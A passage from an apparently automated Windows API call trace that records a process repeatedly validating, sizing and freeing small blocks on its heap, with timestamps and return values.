lpMem=0x23c250) returned 1 [0165.115] GetProcessHeap () returned 0x220000 [0165.115] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c250) returned 0x1fc [0165.116] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c250 | out: hHeap=0x220000) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b990) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b990) returned 0x6 [0165.116] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b990 | out: hHeap=0x220000) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4e0) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4e0) returned 0x16 [0165.116] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4e0 | out: hHeap=0x220000) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d560) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d560) returned 0x18 [0165.116] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d560 | out: hHeap=0x220000) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0) returned 1 [0165.116] GetProcessHeap () returned 0x220000 [0165.116] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdb0) returned 0x20 [0165.117] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0 | out: hHeap=0x220000) returned 1 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bff0) returned 1 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bff0) returned 0xa0 [0165.117] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bff0 | out: hHeap=0x220000) returned 1 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba70) returned 1 [0165.117] GetProcessHeap () returned 0x220000 [0165.117] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba70) returned 0x18 [0165.117] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba70 | out: hHeap=0x220000) returned 1 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb10) returned 1 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb10) returned 0x20 [0165.118] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb10 | out: hHeap=0x220000) returned 1 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc90) returned 1 [0165.118] GetProcessHeap () returned 0x220000 [0165.118] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dc90) returned 0x4a [0165.119] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc90 | out: hHeap=0x220000) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4c0) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4c0) returned 0x18 [0165.119] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4c0 | out: hHeap=0x220000) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cae0) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cae0) returned 0x20 [0165.119] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cae0 | out: hHeap=0x220000) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd10) returned 1 [0165.119] GetProcessHeap () returned 0x220000 [0165.119] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dd10) returned 0x4c [0165.120] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd10 | out: hHeap=0x220000) returned 1 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d540) returned 1 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d540) returned 0x18 [0165.120] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d540 | out: hHeap=0x220000) returned 1 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cab0) returned 1 [0165.120] GetProcessHeap () returned 0x220000 [0165.120] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cab0) returned 0x20 [0165.120] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cab0 | out: hHeap=0x220000) returned 1 [0165.120] GetProcessHeap () returned 0x220000 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d520) returned 1 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d520) returned 0xe [0165.121] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d520 | out: hHeap=0x220000) returned 1 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d500) returned 1 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d500) returned 0x18 [0165.121] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d500 | out: hHeap=0x220000) returned 1 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d50) returned 1 [0165.121] GetProcessHeap () returned 0x220000 [0165.121] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d50) returned 0x20 [0165.121] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d50 | out: hHeap=0x220000) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbf0) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bbf0) returned 0x208 [0165.122] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbf0 | out: hHeap=0x220000) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba50) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba50) returned 0x18 [0165.122] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba50 | out: hHeap=0x220000) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c60) returned 1 [0165.122] GetProcessHeap () returned 0x220000 [0165.122] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c60) returned 0x20 [0165.123] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c60 | out: hHeap=0x220000) returned 1 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d280) returned 1 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d280) returned 0x200 [0165.123] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d280 | out: hHeap=0x220000) returned 1 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba90) returned 1 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba90) returned 0x18 [0165.123] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba90 | out: hHeap=0x220000) returned 1 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] GetProcessHeap () returned 0x220000 [0165.123] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235bd0) returned 0x20 [0165.124] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0 | out: hHeap=0x220000) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c200) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c200) returned 0x14 [0165.124] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c200 | out: hHeap=0x220000) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1e0) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1e0) returned 0x18 [0165.124] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1e0 | out: hHeap=0x220000) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10) returned 1 [0165.124] GetProcessHeap () returned 0x220000 [0165.124] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b10) returned 0x20 [0165.125] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10 | out: hHeap=0x220000) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c220) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c220) returned 0x16 [0165.125] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c220 | out: hHeap=0x220000) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1a0) returned 0x18 [0165.125] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0 | out: hHeap=0x220000) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0) returned 1 [0165.125] GetProcessHeap () returned 0x220000 [0165.125] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ae0) returned 0x20 [0165.126] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0 | out: hHeap=0x220000) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9d0) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9d0) returned 0x2 [0165.126] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9d0 | out: hHeap=0x220000) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235930) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235930) returned 0x20 [0165.126] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235930 | out: hHeap=0x220000) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235960) returned 1 [0165.126] GetProcessHeap () returned 0x220000 [0165.126] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235960) returned 0x20 [0165.127] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235960 | out: hHeap=0x220000) returned 1 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235990) returned 1 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235990) returned 0x20 [0165.127] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235990 | out: hHeap=0x220000) returned 1 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2359c0) returned 1 [0165.127] GetProcessHeap () returned 0x220000 [0165.127] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2359c0) returned 0x20 [0165.128] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2359c0 | out: hHeap=0x220000) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb40) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb40) returned 0x20 [0165.128] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb40 | out: hHeap=0x220000) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d660) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d660) returned 0xa [0165.128] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d660 | out: hHeap=0x220000) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb70) returned 1 [0165.128] GetProcessHeap () returned 0x220000 [0165.128] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb70) returned 0x20 [0165.129] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb70 | out: hHeap=0x220000) returned 1 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237a50) returned 1 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237a50) returned 0x30 [0165.129] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237a50 | out: hHeap=0x220000) returned 1 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0) returned 1 [0165.129] GetProcessHeap () returned 0x220000 [0165.129] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cba0) returned 0x20 [0165.130] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0 | out: hHeap=0x220000) returned 1 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237a90) returned 1 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237a90) returned 0x30 [0165.130] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237a90 | out: hHeap=0x220000) returned 1 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80) returned 1 [0165.130] GetProcessHeap () returned 0x220000 [0165.130] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd80) returned 0x20 [0165.131] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80 | out: hHeap=0x220000) returned 1 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d580) returned 1 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d580) returned 0x10 [0165.131] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d580 | out: hHeap=0x220000) returned 1 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50) returned 1 [0165.131] GetProcessHeap () returned 0x220000 [0165.131] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd50) returned 0x20 [0165.132] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50 | out: hHeap=0x220000) returned 1 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5a0) returned 1 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5a0) returned 0x10 [0165.132] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5a0 | out: hHeap=0x220000) returned 1 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0165.132] GetProcessHeap () returned 0x220000 [0165.132] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0165.133] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5c0) returned 1 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5c0) returned 0xe [0165.133] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5c0 | out: hHeap=0x220000) returned 1 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0165.133] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] GetProcessHeap () returned 0x220000 [0165.133] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0) returned 1 [0165.134] GetProcessHeap () returned 0x220000 [0165.134] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5e0) returned 0x16 [0165.134] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0 | out: hHeap=0x220000) returned 1 [0165.136] GetProcessHeap () returned 0x220000 [0165.136] GetProcessHeap () returned 0x220000 [0165.136] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0) returned 1 [0165.136] GetProcessHeap () returned 0x220000 [0165.136] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccc0) returned 0x20 [0165.137] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0 | out: hHeap=0x220000) returned 1 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600) returned 1 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d600) returned 0x16 [0165.137] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600 | out: hHeap=0x220000) returned 1 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90) returned 1 [0165.137] GetProcessHeap () returned 0x220000 [0165.137] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc90) returned 0x20 [0165.138] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90 | out: hHeap=0x220000) returned 1 [0165.138] GetProcessHeap () returned 0x220000 [0165.138] GetProcessHeap () returned 0x220000 [0165.138] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x259bb0) returned 1 [0165.138] GetProcessHeap () returned 0x220000 [0165.138] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x259bb0) returned 0x82 [0165.139] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x259bb0 | out: hHeap=0x220000) returned 1 [0165.139] GetProcessHeap () returned 0x220000 [0165.139] GetProcessHeap () returned 0x220000 [0165.139] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60) returned 1 [0165.139] GetProcessHeap () returned 0x220000 [0165.139] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc60) returned 0x20 [0165.139] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60 | out: hHeap=0x220000) returned 1 [0165.139] GetProcessHeap () returned 0x220000 [0165.139] GetProcessHeap () returned 0x220000 [0165.139] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d640) returned 1 [0165.139] GetProcessHeap () returned 0x220000 [0165.140] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d640) returned 0xe [0165.140] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d640 | out: hHeap=0x220000) returned 1 [0165.140] GetProcessHeap () returned 0x220000 [0165.140] GetProcessHeap () returned 0x220000 [0165.140] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30) returned 1 [0165.140] GetProcessHeap () returned 0x220000 [0165.140] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc30) returned 0x20 [0165.140] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30 | out: hHeap=0x220000) returned 1 [0165.140] GetProcessHeap () returned 0x220000 [0165.140] GetProcessHeap () returned 0x220000 [0165.140] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9f0) returned 1 [0165.141] GetProcessHeap () returned 0x220000 [0165.141] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9f0) returned 0x18 [0165.141] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9f0 | out: hHeap=0x220000) returned 1 [0165.141] GetProcessHeap () returned 0x220000 [0165.141] GetProcessHeap () returned 0x220000 [0165.141] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2359f0) returned 1 [0165.141] GetProcessHeap () returned 0x220000 [0165.141] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2359f0) returned 0x20 [0165.141] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2359f0 | out: hHeap=0x220000) returned 1 [0165.141] GetProcessHeap () returned 0x220000 [0165.142] GetProcessHeap () returned 0x220000 [0165.142] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a20) returned 1 [0165.142] GetProcessHeap () returned 0x220000 [0165.142] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a20) returned 0x20 [0165.142] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a20 | out: hHeap=0x220000) returned 1 [0165.142] GetProcessHeap () returned 0x220000 [0165.142] GetProcessHeap () returned 0x220000 [0165.142] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a50) returned 1 [0165.142] GetProcessHeap () returned 0x220000 [0165.142] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a50) returned 0x20 [0165.143] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a50 | out: hHeap=0x220000) returned 1 [0165.143] GetProcessHeap () returned 0x220000 [0165.143] GetProcessHeap () returned 0x220000 [0165.143] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80) returned 1 [0165.143] GetProcessHeap () returned 0x220000 [0165.143] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a80) returned 0x20 [0165.144] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80 | out: hHeap=0x220000) returned 1 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba10) returned 1 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba10) returned 0x18 [0165.144] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba10 | out: hHeap=0x220000) returned 1 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0) returned 1 [0165.144] GetProcessHeap () returned 0x220000 [0165.144] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ab0) returned 0x20 [0165.145] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0 | out: hHeap=0x220000) returned 1 [0165.145] GetProcessHeap () returned 0x220000 [0165.145] GetProcessHeap () returned 0x220000 [0165.145] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40) returned 1 [0165.145] GetProcessHeap () returned 0x220000 [0165.145] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b40) returned 0x20 